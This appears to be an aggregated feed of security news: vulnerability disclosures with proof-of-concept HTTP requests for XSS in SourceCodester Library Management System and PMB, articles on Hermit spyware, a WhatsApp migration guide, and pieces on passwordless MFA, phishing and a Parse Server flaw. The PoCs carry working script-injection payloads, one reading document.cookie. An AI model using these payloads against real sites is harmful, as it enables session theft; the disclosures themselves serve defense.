A vulnerability was found in SourceCodester Library Management System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/edit_admin_details.php?id=admin. The manipulation of the argument Name leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

An attacker could steal cookies with a crafted URL sent to the victims.

    POST /LMS/admin/edit_admin_details.php?id=admin HTTP/1.1
    Host: localhost
    Content-Length: 115
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/LMS/admin/edit_admin_details.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
    Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
    Connection: close
    
    Name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&EmailId=admin%40gmail.com&MobNo=0&Password=admin&submit=

CVE-2022-2213: CVE/POC.md at main · CyberThoth/CVE

It's never been easier to switch between iPhone and Android—and to get your messages out of the Meta ecosystem entirely.

Since early 2016, WhatsApp has protected messages and conversations sent in its app with end-to-end encryption. This means that nobody other than the sender and receiver of messages can read their content—not even Meta can read or snoop on the contents of your conversations.

Despite WhatsApp being omnipresent—more than 2 billion people use it each month—securely moving your encrypted chats and photos to different platforms or apps has been a challenge. Transferring your WhatsApp chats from Android to iPhone and from iPhone to Android has historically only been possible using third-party apps. These apps are often fiddly and don’t necessarily protect your data at the level offered by WhatsApp’s ecosystem.

But in recent months WhatsApp has made it possible to officially switch between iPhones and Android (and vice versa), rolling out processes to securely move data between operating systems and working with phone manufacturers to enable the move.

If you’re fed up with Meta’s ecosystem, it’s also possible to move your groups and some chat data to other messaging apps. Here’s how to move all of your WhatsApp chats and backups.

Android to iPhone

Moving your WhatsApp account from Android to an iPhone involves a few steps. But it should be possible to bring most of your information with you: Your profile photo, individual and group chats, history, photos, videos, and settings can all make the jump from one device to another. Your call history and display name can’t be moved across, however, WhatsApp says.

Most of the work in moving your WhatsApp data comes before you make the shift. To move between devices, you need to ensure you have the same phone number on each. Before you start the process, make sure you have a recently updated version of WhatsApp on your Android phone. You also need to be running at least Android 5 on the device you’re moving from and iOS 15.5 on the iPhone you’re moving to. (The iPhone needs to be a new device or have been recently reset to its factory settings.)

Next, download and install the “Move to iOS” app from Google’s Play Store—this Apple-owned app will do all the heavy lifting. When you’re ready to migrate your data, plug both devices into a power source and connect both phones to the same Wi-Fi network. (If you don’t have a Wi-Fi network, it’s possible to use a hotspot to connect your Android phone to the iPhone.)

When both phones are on the same network, open up the “Move to iOS” app on the Android phone and follow the instructions to connect the two phones. Then select WhatsApp as the data source you want to transfer from, and the app will prepare your chats to be moved across—final prompts will confirm you want to make the switch.

This process will log you out of WhatsApp on your Android phone, and you’ll need to download the app on the iPhone you are moving to. When you first use WhatsApp on this iPhone, it’ll ask you to use the same number as on the Android device and prompt you to complete the transfer process. When the process is complete, if you are getting rid of your old phone, make sure to do a factory reset and wipe all your data.

iPhone to Android

It’s been possible to transfer your WhatsApp chat history from iPhones to Android devices since October 2021. This transfer process includes your photos, messages, voice messages, and group conversations.

The compatibility was first rolled out for Samsung phones but has since expanded to include Google Pixel phones and all devices running Android 12. To make the move, you’ll need a USB-C-to-Lightning cable to physically connect the two devices, Google explains. “When prompted while setting up your new Android device, scan a QR code on your iPhone to launch WhatsApp,” the company says in a blog post. Alternatively, in WhatsApp you can go to **Settings** > **Chats** > **Move Chats to Android** and follow the transfer prompts.

WhatsApp’s guide to moving your chats between iPhones and Samsung devices says you will need the Samsung SmartSwitch app installed on the new phone and the same phone number on both devices. As with moving from Android to an iPhone, make sure you delete or wipe your old phone if you’re getting rid of it.

WhatsApp to Signal

Signal is widely considered the best messaging app for security and privacy. Check out our guide to switching your text messages to Signal and moving your messages between devices. While you can’t directly move your WhatsApp chat history to Signal, there are some things you can do to make the switch more straightforward.

It’s possible to easily recreate your WhatsApp groups on Signal—although getting all your family and friends to ditch the Meta-owned app may be more of a challenge. To recreate your groups, open the Signal app and start a new group by tapping the **pencil icon**. When you are asked to add people from your contacts, **tap on Skip** and instead pick the option to get a link to invite people to the group (a QR code is also available). From here, you can share this link with your WhatsApp chats and allow people to move over.

WhatsApp to Telegram

Unlike Signal and WhatsApp, Telegram is not end-to-end encrypted by default. As a result, security experts often warn against using Telegram. However, if you still want to use Telegram, it’s possible to move your chat history from one app to the other.

On both iOS and Android, open the chat you want to move to Telegram and click on the chat’s name or details (using _⋮_ on Android). From here, tap **Export Chat** and when you get the choice of where to **share** the chat, pick Telegram. When exporting chats from WhatsApp to Telegram, you have the choice to take photos and videos with you, or just chat messages.

Back up your WhatsApp chats

You can also back up your WhatsApp conversations in the cloud. This allows you to keep your messages and photos safe if you’re moving from one iPhone to another iPhone or Android to Android—for instance, if you upgrade or break your device and replace it with one using the same operating system.

Until September 2021, WhatsApp didn’t end-to-end encrypt backups, creating a potential security risk and exposing people’s chats to requests from law enforcement. However, the company has since closed that loophole, so it’s now much less of a risk to have your chats backed up to iCloud or Google’s Cloud. To back up to either platform, you will need a Google Drive account or an iCloud account.

On Android, in WhatsApp go to **More options** > **Settings** > **Chats** > **Chat backup** > **Back up to Google Drive**. While on iOS go to WhatsApp **Settings** > **Chats** > **Chat Backup** > **Back Up Now**. You’ll then be able to set the frequency of your backups and elect whether data-heavy videos are included.

How to Move Your WhatsApp Chats Across Devices and Apps

** DISPUTED ** A vulnerability was found in Apple iPhone up to 12.4.1. It has been declared as critical. Affected by this vulnerability is Siri. Playing an audio or video file might be able to initiate Siri on the same device which makes it possible to execute commands remotely. Exploit details have been disclosed to the public. The existence and implications of this vulnerability are doubted by Apple even though multiple public videos demonstrating the attack exist. Upgrading to version 13.0 migt be able to address this issue. It is recommended to upgrade affected devices.

CVE-2019-25071

By Deeba Ahmed
According to Google, Italian spyware provider RCS Labs received support from several Internet Service Providers (ISPs) to distribute…
This is a post from HackRead.com Read the original post: ISPs Helping Attackers Install Hermit Spyware on Smartphones- Google

****According to Google, Italian spyware provider RCS Labs received support from several Internet Service Providers (ISPs) to distribute Hermit spyware on iOS and Android smartphones in Kazakhstan and Italy.****

Google Threat Analysis Group published its findings on the highly sophisticated Hermit spyware. Report authors Benoit Sevens and Clement Lecigne wrote that an Italian spyware provider, RCS Labs, received support from several Internet Service Providers (ISPs) to distribute Hermit spyware on iOS and Android smartphones in Kazakhstan and Italy using commercially available surveillance tools. 

**Drive-By-Downloads to Infect Target Devices**

Researchers state that this campaign, which mainly relies on drive-by-downloads, proves threat actors may not always rely on exploits to get extensive permissions on a device. Through drive-by-downloads, they can fulfill their malicious goals just as effectively with the help of ISPs.

**Attack Scenario**

The attackers get their victim’s internet connection disrupted with the support of ISPs. In some cases, the target’s ISP disabled their mobile data connection. The victims are then requested to install a malicious application to get back online through an SMS message containing a URL. The victim is asked to install the application and resume their data connection.

Since the campaign involves ISPs, these apps are disguised as legit mobile carrier apps. In scenarios where attackers couldn’t directly influence the target’s ISP, they embedded the spyware in apps disguised as messaging applications.

The victim is redirected to a fake support page where they are promised to recover their suspended social media (Facebook and Instagram) and WhatsApp accounts. Though the social media links let the user install the official apps, the WhatsApp link leads the victim to a fake version of the WhatsApp app.

A screenshot shared by Google shows one of the malicious sites involved in the attack (fb-techsupportcom

**Malicious iOS Apps used by 6 Different Exploits**

According to a blog post published by Google’s Threat Analysis Group, these malicious apps were unavailable on Google Play and Apple App Store. The threat actors sideloaded the iOS version, which was signed with an enterprise certificate.

The target was asked to enable installation for these apps through unknown sources. The iOS apps used in the attack contain a “generic privilege escalation exploit wrapper” used by 6 different exploits. It also includes a “minimalist agent” that can exfiltrate device data, including the WhatsApp database. Details of these exploits are as follows:

*   **CVE-2021-30883 known as Clicked2**
*   **CVE-2021-30983 known as Clicked3**
*   **CVE-2020-9907 known as AveCesare**
*   **CVE-2020-3837 known as TimeWaste**
*   **CVE-2018-4344 known as LightSpeed**
*   **CVE-2019-8605 known as SockPort2/SockPuppet**

**Android Version Details**

The drive-by attacks on Android phones require the victims to enable a setting for installing third-party apps from unknown sources, after which fake apps disguised as legit brand apps like Samsung request extensive permissions. Besides rooting the device for rooted access, the apps are designed to fetch/execute arbitrary remote components, which communicate with the main application.

**Hermit Capabilities**

Hermit boasts a modular feature set and can steal sensitive data from smartphones, including location, contacts, call logs, and SMS messages. The spyware’s modularity allows it to become fully customizable.

Once installed on the device, it can record audio and even make/redirect phone calls, apart from abusing accessibility services permissions. However, researchers didn’t specify the RCS Labs clients involved in this campaign or its targets. For your information, RCS Labs is among the 30 spyware providers currently tracked by Google.

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*   Cloud video platform abused in web skimmer attack against real estate sites
*   Cybercrime Syndicate Leader Behind Phishing, BEC Scams Arrested in Nigeria

ISPs Helping Attackers Install Hermit Spyware on Smartphones- Google

The company is warning victims in Italy and Kazakhstan that they have been targeted by the malware from Italian firm RCS Labs.

The company is warning victims in Italy and Kazakhstan that they have been targeted by the malware from Italian firm RCS Labs.

Google is warning victims in Kazakhstan and Italy that they are being targeted by Hermit, a sophisticated and modular spyware from Italian vendor RCS Labs that not only can steal data but also record and make calls.

Researchers from Google Threat Analysis Group (TAG) revealed details in a blog post Thursday by TAG researchers Benoit Sevens and Clement Lecigne about campaigns that send a unique link to targets to fake apps impersonating legitimate ones to try to get them to download and install the spyware. None of the fake apps were found on either Apple’s or Google’s respective mobile app stores, however, they said.

TAG is attributing the capabilities to notorious surveillance software vendor RCS Labs, which previously was linked to spyware activity employed by an agent of the Kazakhstan government against domestic targets, and identified by Lookout research.

“We are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android,” a Google TAG spokesperson wrote in an email to Threatpost sent Thursday afternoon.

All campaigns that TAG observed originated with a unique link sent to the target that then tries to lure users into downloading Hermit spyware in one of two ways, researchers wrote in the post. Once clicked, victims are redirected to a web page for downloading and installing a surveillance app on either Android or iOS.

“The page, in Italian, asks the user to install one of these applications in order to recover their account,” with WhatsApp download links specifically pointing to attacker-controlled content for Android or iOS users, researchers wrote.

****Collaborating with ISPs****

One lure employed by threat actors is to work with the target’s ISP to disable his or her mobile data connectivity, and then masquerade as a carrier application sent in a link to try to get the target to install a malicious app to recover connectivity, they said.

Researchers outlined in a separate blog post by Ian Beer of Google Project Zero a case in which they discovered what appeared to be an iOS app from Vodafone but which in fact is a fake app. Attackers are sending a link to this malicious app by SMS to try to fool targets into downloading the Hermit spyware.

“The SMS claims that in order to restore mobile data connectivity, the target must install the carrier app and includes a link to download and install this fake app,” Beer wrote.

Indeed, this is likely the reason why most of the applications they observed in the Hermit campaign masqueraded as mobile carrier applications, Google TAG researchers wrote.

In other cases when they can’t work directly with ISPs, threat actors use apps appearing to be messaging applications to hide Hermit, according to Google TAG, confirming what Lookout previously discovered in its research.

****iOS Campaign Revealed****

While Lookout previously shared details of how Hermit targeting Android devices works, Google TAG revealed specifics of how the spyware functions on iPhones.

They also released details of the host of vulnerabilities—two of which were zero-day bugs when they were initially identified by Google Project Zero—that attackers exploit in their campaign. In fact, Beer’s post is a technical analysis of one of the bugs: CVE-2021-30983 internally referred to as Clicked3 and fixed by Apple in December 2021.

To distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with a manifest file with com.ios.Carrier as the identifier, researchers outlined.

The resulting app is signed with a certificate from a company named 3-1 Mobile SRL that was enrolled in the Apple Developer Enterprise Program, thus legitimizing the certificate on iOS devices, they said.

The iOS app itself is broken up into multiple parts, researchers said, including a generic privilege escalation exploit wrapper which is used by six different exploits for previously identified bugs. In addition to Clieked3, the other bugs exploited are:

*   CVE-2018-4344 internally referred to and publicly known as LightSpeed;
*   CVE-2019-8605 internally referred to as SockPort2 and publicly known as SockPuppet;
*   CVE-2020-3837 internally referred to and publicly known as TimeWaste;
*   CVE-2020-9907 internally referred to as AveCesare; and
*   CVE-2021-30883 internally referred to as Clicked2, marked as being exploited in-the-wild by Apple in October 2021.

All exploits used before 2021 are based on public exploits written by different jailbreaking communities, researchers added.

****Broader Implications****

The emergence of Hermit spyware shows how threat actors—often working as state-sponsored entities—are pivoting to using new surveillance technologies and tactics following the blow-up over repressive regimes’ use of Israel-based NSO Group’s Pegasus spyware in cyberattacks against dissidents, activists and NGOs, as well as the murders of journalists.

Indeed, while use of spyware like Hermit may be legal under national or international laws, “they are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians,” Google TAG researchers wrote.

The United States blacklisted NSO Group over the activity, which drew international attention and ire. But it apparently has not stopped the proliferation of spyware for nefarious purposes in the slightest, according to Google TAG.

In fact, the commercial spyware industry continues to thrive and grow at a significant rate, which “should be concerning to all Internet users,” researchers wrote.

“These vendors are enabling the proliferation of dangerous hacking tools and arming governments that would not be able to develop these capabilities in-house,” they said.

Google Warns Spyware Being Deployed Against Android, iOS Users

The spyware has been used to target people in Italy, Kazakhstan, and Syria, researchers at Google and Lookout have found.

In hearings this week, the notorious spyware vendor NSO group told European legislators that at least five EU countries have used its powerful Pegasus surveillance malware. But as ever more comes to light about the reality of how NSO's products have been abused around the world, researchers are also working to raise awareness that the surveillance-for-hire industry goes far beyond one company. On Thursday, Google's Threat Analysis Group and Project Zero vulnerability analysis team published findings about the iOS version of a spyware product attributed to the Italian developer RCS Labs.

Google researchers say they detected victims of the spyware in Italy and Kazakhstan on both Android and iOS devices. Last week, the security firm Lookout published findings about the Android version of the spyware, which it calls “Hermit” and also attributes to RCS Labs. Lookout notes that Italian officials used a version of the spyware during a 2019 anti-corruption probe. In addition to victims located in Italy and Kazakhstan, Lookout also found data indicating that an unidentified entity used the spyware for targeting in northeastern Syria.

“Google has been tracking the activities of commercial spyware vendors for years, and in that time we have seen the industry rapidly expand from a few vendors to an entire ecosystem,” TAG security engineer Clement Lecigne tells WIRED. “These vendors are enabling the proliferation of dangerous hacking tools, arming governments that would not be able to develop these capabilities in-house. But there is little or no transparency into this industry, that's why it's critical to share information about these vendors and their capabilities.”

TAG says it currently tracks more than 30 spyware makers that offer an array of technical capabilities and levels of sophistication to government-backed clients.

In their analysis of the iOS version, Google researchers found that attackers distributed the iOS spyware using a fake app meant to look like the My Vodafone app from the popular international mobile carrier. In both Android and iOS attacks, attackers may have simply tricked targets into downloading what appeared to be a messaging app by distributing a malicious link for victims to click. But in some particularly dramatic cases of iOS targeting, Google found that attackers may have been working with local ISPs to cut off a specific user's mobile data connection, send them a malicious download link over SMS, and convince them to install the fake My Vodafone app over Wi-Fi with the promise that this would restore their cell service.

Attackers were able to distribute the malicious app because RCS Labs had registered with Apple's Enterprise Developer Program, apparently through a shell company called 3-1 Mobile SRL, to obtain a certificate that allows them to sideload apps without going through Apple's typical AppStore review process.

Apple tells WIRED that all of the known accounts and certificates associated with the spyware campaign have been revoked. 

“Enterprise certificates are meant only for internal use by a company, and are not intended for general app distribution, as they can be used to circumvent App Store and iOS protections,” the company wrote in an October report about sideloading. “Despite the program’s tight controls and limited scale, bad actors have found unauthorized ways of accessing it, for instance by purchasing enterprise certificates on the black market.”

Project Zero member Ian Beer conducted a technical analysis of the exploits used in the RCS Labs iOS malware. He notes that the spyware uses a total of six exploits to gain access to surveil a victim's device. While five are known and publicly circulating exploits for older iOS versions, the sixth was an unknown vulnerability at the time it was discovered. (Apple patched that vulnerability in December.) That exploit took advantage of structural changes in how data flows across Apple's new generations of “coprocessors” as the company, and the industry overall, moves toward the all-in-one “system-on-a-chip” design.

The exploit isn't unprecedented in its sophistication, but Google researchers note that the RCS Labs spyware reflects a broader trend in which the surveillance-for-hire industry combines existing hacking techniques and exploits with more novel elements to gain the upper hand. 

“The commercial surveillance industry benefits from and reuses research from the jailbreaking community. In this case, three out of six of the exploits are from public jailbreak exploits,” TAG member Benoit Sevens says. “We also see other surveillance vendors reusing techniques and infection vectors initially used and discovered by cyber crime groups. And like other attackers, surveillance vendors are not only using sophisticated exploits but are using social engineering attacks to lure their victims in.”

The research shows that while not all actors are as successful or well known as a company like NSO Group, many small and midsize players together in a burgeoning industry are creating real risk for internet users worldwide.

Google Warns of New Spyware Targeting iOS and Android Users

PMB 7.3.10 allows reflected XSS via the id parameter in an lvl=author_see request to index.php.

**PMB 7.3.10 - CVE-2022-34328**

*   Description : Allow attacker to inject arbitrary malicious HTML or Javascripts code in user web browser
*   Affected version : 7.3.10 >=

**Information**

To make this PoC, I just installed the software (https://forge.sigb.net/projects/pmb/files)

*   Vulnerability Type : XSS Reflected ( Unauthentificated )

**POC**

There is an exemple with alert:

    GET /index.php?lvl=author_see&id=42691%27%7cecho%20%3E%3C/a%3E%3C/span%3E%3Cscript%3Ealert(1)%3C/script%3Ed5u3g%20ijwh7gefly%20%23xzwx HTTP/1.1
    Host: xxxxx.fr
    Cookie: PhpMyBibli-OPACDB=pmb_test; _ga=GA1.2.80710046205; __utmz=147501360.tmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=147501632.2; PhpMyBibli-COOKIECONSENT=!pmbstatopac=true
    Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Linux"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
    Connection: close
    

**Preview**

**PMB 7.4.1 - CVE-XXX**

*   Description : Allow attacker to inject arbitrary malicious HTML or Javascripts code in user web browser by body parameter from POST request
*   Affected version : 7.4.1 (lasted)

**Information**

To make this PoC, I just installed the software (https://forge.sigb.net/projects/pmb/files)

*   Vulnerability Type : XSS Reflected ( Unauthentificated )

**POC**

There is an exemple with alert:

    POST /pmb/opac_css/index.php?lvl=search_result&search_type_asked=extended_search HTTP/1.1
    Host: localhost
    Content-Length: 165
    Cache-Control: max-age=0
    sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Linux"
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/pmb/opac_css/index.php?lvl=index&search_type_asked=extended_search
    Accept-Encoding: gzip, deflate
    Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
    Cookie: PhpMyBibli-OPACDB=bibli; PmbOpac-SESSNAME=PmbOpac; PmbOpac-SESSID=2044540279; PhpMyBibli-OPACDB=bibli; PhpMyBibli-DATABASE=bibli; rwtxt-domains=",68qr7xelmc"; PHPSESSID=gqhnot1fc67bn5he0bflumrbh7; pmb3619056675=gr56m1hb6qesp47kqnsfpf8qn6
    Connection: close
    
    add_field=&search%5B%5D=f_1&op_0_f_1=EXACT&field_0_f_1%5B%5D=gang&explicit_search=1&search_xml_file=search_fields&delete_field=&launch_search=1&page=&no_search=0&ij6fm%22%3e%3cscript%3ealert(1)%3c%2fscript%3evg9q6c4g1mk=1
    

**PMB 7.4.1 - CVE-XXX**

*   Description : Allow attacker to inject arbitrary malicious HTML or Javascripts code in user web browser by body parameter from POST request
*   Affected version : 7.4.1 (lasted)

**Information**

To make this PoC, I just installed the software (https://forge.sigb.net/projects/pmb/files)

*   Vulnerability Type : XSS Stored ( Authentificated )

**POC**

There is an exemple with alert:

    POST /pmb/admin.php?categ=cms_editorial&sub=type&elem=article&action=save&id=3 HTTP/1.1
    Host: localhost
    Content-Length: 229
    Cache-Control: max-age=0
    sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Linux"
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/pmb/admin.php?categ=cms_editorial&sub=type&elem=article&action=edit&id=3
    Accept-Encoding: gzip, deflate
    Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
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**Preview**

CVE-2022-34328: GitHub - jenaye/PMB

Using WebAuthn, physical keys, and biometrics, organizations can adopt more advanced passwordless MFA and true passwordless systems. (Part 2 of 2)

_The first article of this two-part series examined ways to improve multifactor authentication (MFA) and boost adoption. This story takes a look at how organizations can adopt more advanced passwordless MFA and true passwordless systems._

Getting to passwordless won't be easy, but the concept is finally gaining momentum. Although several vendors have offered passwordless MFA and true passwordless technology for a few years — mostly relegated to enterprise use — a more comprehensive framework is now taking shape. Apple, Google, and Microsoft have jointly agreed to adopt passwordless in earnest.

For example, Apple will be introducing Passkeys, which completely replace passwords used to log into websites, in a few months. The framework, based on the FIDO Alliance standard, uses biometrics such as Face ID to generate a unique, encrypted digital key that resides only on the device and within an encrypted keychain used for other Apple devices, including the iPhone, iPad, Mac, and Apple TV. This makes it impervious to phishing and other forms of data extraction.

In 2020, Microsoft turned to biometrics for authentication in Windows 10 and Windows 365 — and the company is also expanding passwordless to websites. In addition, all three companies are adding the ability to transfer this identity data across authenticated devices and systems. In the past, changing phones or other devices typically meant reinstalling credentials — a time-consuming and irritating task.

In addition to building biometrics and other security mechanisms into their operating systems, the Big Three are introducing software development kits (SDKs) that companies can use to build passwordless websites. As a result, it will soon be possible for consumers to begin ditching passwords for compliant sites and services. Like Apple's Passkey, a mobile phone or other registered device authenticates the person and then sends the request to the server without sending the biometric data.

"Where the big vendors lead, everyone else follows," says Don Tait, a senior analyst for Omdia.

At the heart of this transformation is the FIDO Alliance. "It is a classic example of the impact of consumerization on technology," adds Rik Turner, a senior analyst at Omdia. "As people begin to use tools in their private lives, they begin to seep into the workplace."

**A Matter of Identity**

Security experts say that the first step in building a better authentication framework is to stop using outdated methods like secret words and one-time codes to verify users. Even push apps are vulnerable to exploits. For example, crooks who gain access to a company's network or an MFA system can generate fake authentication requests that someone might authorize in a moment of distraction or inattentiveness.

Even highly secure YubiKeys and other U2F tokens aren't exempt from vulnerabilities and workarounds. For example, if a user forgets the key or can't use it for some reason, the typical workaround is to revert to a text code or less secure form of MFA as the backup. At that point, even an ultra-secure digital token can't provide protection.

A deeper and broader use of biometrics and user verification methods, including presence-based authentication and behavioral or activity-based models, is key. This includes the use of the FIDO protocol WebAuthn, which delivers an API that supports strong, public-key cryptography registration and authentication. It can be combined with a continuous authentication method that reverifies the identity of the session through a persistent token.

Several companies, including Beyond Identity, Veriff, 1Kosmos, and Jumio, have adopted this type of approach. They rely on FIDO standards that tie into biometrics, along with a highly secure identity proofing method. Typically, they ask users to provide a document such as a driver's license or a passport, which is securely stored in an app on the device. A selfie or face scan ensures that everything matches and authenticates the user.

For example, Veriff, which works in 190 countries, in 35 languages, and with 8,000 IDs, runs an online blockchain-based identity verification within a few seconds. It uses an AI-supported decision engine that incorporates real-time feedback through a document check, biometric scan, face comparison, background video, and device and network analytics. Financial institutions, healthcare providers, and others that use the technology can also reduce fake accounts and fraud.

"This creates a barrier that is much more difficult for an intelligent and determined bad actor to bypass," says Kalev Rundu, senior product manager at Veriff. "People today are much more willing to use biometrics for authentication, but they are only ready to do it if they receive real value in return and they can maintain control over how and where their data is used."

**Forward Thinking**

The move to passwordless MFA and true passwordless remains a slow march. For now, advanced authentication is more viable within the enterprise, where it's a closed and controlled environment. Michael Engle, co-founder and CSO at passwordless MFA solutions vendor 1kosmos, estimates that 80% of passwords can be eliminated almost immediately with the right strategy and tools.

For now, Omdia analysts Tait and Turner recommend migrating to passwordless MFA without delay. Not only does the framework deliver a better and safer customer experience, but it can also drive revenue growth, they argue. In addition, it's wise to phase in true passwordless systems and build on them through the FIDO Alliance, as well through Apple Passkeys and the equivalent passwordless systems at Google and Microsoft.

Along the way, it's also essential to educate customers and employees about passwordless authentication and ensure that people understand that their biometric data is being used as their gateway to apps and the Internet. The combination of better UX, incentives, and more streamlined processes can, over the long term, boost security, improve trust, and trim security costs.

Says Jasson Casey, CTO for Beyond Identity: "In the end, the objective isn't to eliminate passwords, though that's a noble cause. It's to create better security and a safer computing environment for everyone."

Evolving Beyond the Password: Vanquishing the Password

The cybersecurity community is buzzing with concerns of multichannel phishing attacks, particularly on smishing and business text compromise, as hackers turn to mobile to launch attacks.

As security conferences return to in-person venues, the cybersecurity community is buzzing with concerns over multichannel phishing attacks, with mobile phishing the biggest concern as hackers turn to mobile to launch smishing and business text compromise attacks.

By moving completely to the cloud, apps and browsers are all we need to communicate with work, family, and friends. While most of us are aware of the cybersecurity guardrails, we are not infallible. We can be lured into providing personal information and credentials or installing malicious apps that can undermine even the most sophisticated cybersecurity defenses. Our reliance on mobile devices with little or no protection from malicious attacks leaves personal and company data at risk.

Multichannel phishing attacks are on the rise, and more breaches are successful because hackers are delivering very targeted attacks on massive scales — powered by automation technology, taking advantage of human psychology, and exploiting our use of apps, browsers, and multiple communications channels.

Humans are the most strategic cybersecurity entry points into an organization because criminals can use psychology to fool us into overriding or undermining even the most sophisticated cybersecurity protection setups. And today's sophisticated attacks are essentially invisible to the human eye. Gone are the poorly spelled phishing emails of yesterday. Today's human hacking can fool even the most security-aware professional to follow a malicious URL or log in to an illegitimate site and expose data and a network. For the attacker, it's much more straightforward and a lower cost to attack a human than a network or a well-defended machine.

'Furthermore, our world — and the way we use technology — has been dramatically altered. This has further increased the danger of human hacking attacks. Post-pandemic, a large percentage of the workforce will continue to have some hybrid remote/office working arrangements — meaning that we're mixing our personal and professional worlds online more than ever. That opens us to more threats, especially when human hacking attacks are coming from legitimate infrastructure. We've turned to interacting through apps and working on browsers. Using collaboration channels like Zoom and Slack and doing nearly everything through our smartphones has opened more attack vectors.

Gone are the days when phishing emails were easily spotted due to low-quality logos, poor grammar, or just the totally unbelievable nature of the email. Now, attackers are well-equipped and very strategic about their attacks, and the believable SMS text or social media invite from a cybercriminal is far more dangerous.

Then, the sheer number of these channel users multiplies the risk equation for enterprises. Add to this the fact that attacks have evolved to the point where a single attack will use multiple channels to convince the users that they are legitimate. There is also the major issue of underestimating the risk of the human factor — today's attacks are simply impossible to detect with human-only views, assessments, and forensics.

**What to Watch For**

Now, especially as the browser is becoming the operating system of the enterprise, the number of channels for attack has increased. Browser extensions and plug-ins are available through very respected big brands, including Android and Apple, but they are not always safe. Also, browser search results can become embedded with attacks, attracting the attention of the user with something that they care about and are more likely to click on. And of course, common Microsoft 365 apps and enterprise productivity apps such as LinkedIn, Dropbox, and WhatsApp are open to phishing abuse.

Since human hacking is a unique problem, we need to focus on people in order to resolve it. Training people to recognize threats is important, but the attacks are too hard to spot by users for training employees to be cautious to be enough security. Asking people to forward suspicious requests to IT is a help but not a cure. There are simply too many convincing attacks coming in on all channels for IT to keep up with those that are forwarded.

There are better ways. One, recognize that cybercriminals are pointing attacks at the people inside organizations and then defend them — on every single digital channel. Two, take advantage of AI and machine learning to identify threats and then use that protection on endpoints in an organization's network — from employee smartphones to Zoom accounts.

In a world where we're trying to stay one step ahead of the hackers, it's time to adequately recognize the magnitude of the multichannel challenge on the horizon — and a new approach that bolsters the people who are under attack.  
**  
About the Author**

    

Patrick Harr is CEO of SlashNext, the authority in multichannel phishing and human hacking protection across email, Web, and mobile.

The Risk of Multichannel Phishing Is on the Horizon

Fake certificates could be used to bypass authentication controls

Fake certificates could be used to bypass authentication controls

  

A vulnerability in Parse Server software has led to the discovery of an authentication bypass impacting Apple Game Center.

Parse Server is an open source project available on GitHub that provides push notification functionality for iOS, macOS, Android, and tvOS.

The software is a backend system compatible with any infrastructure able to run Node.js, the Express web application framework, and can be operated independently or with existing web applications.

Read more of the latest Apple security news

According to a security advisory published on June 17, a bug in Parse Server versions before 4.10.11/5.0.0/5.2.2 caused a validation issue in Apple Game Center.

Apple calls the Game Center its ‘social gaming network’. The platform includes leaderboards and real-time multiplayer play.

**Bypassing authentication**

Tracked as CVE-2022-31083 and issued a CVSS severity score of 8.6, the security issue is described as a scenario in which the authentication adapter for Apple Game Center’s security certificate is not validated.

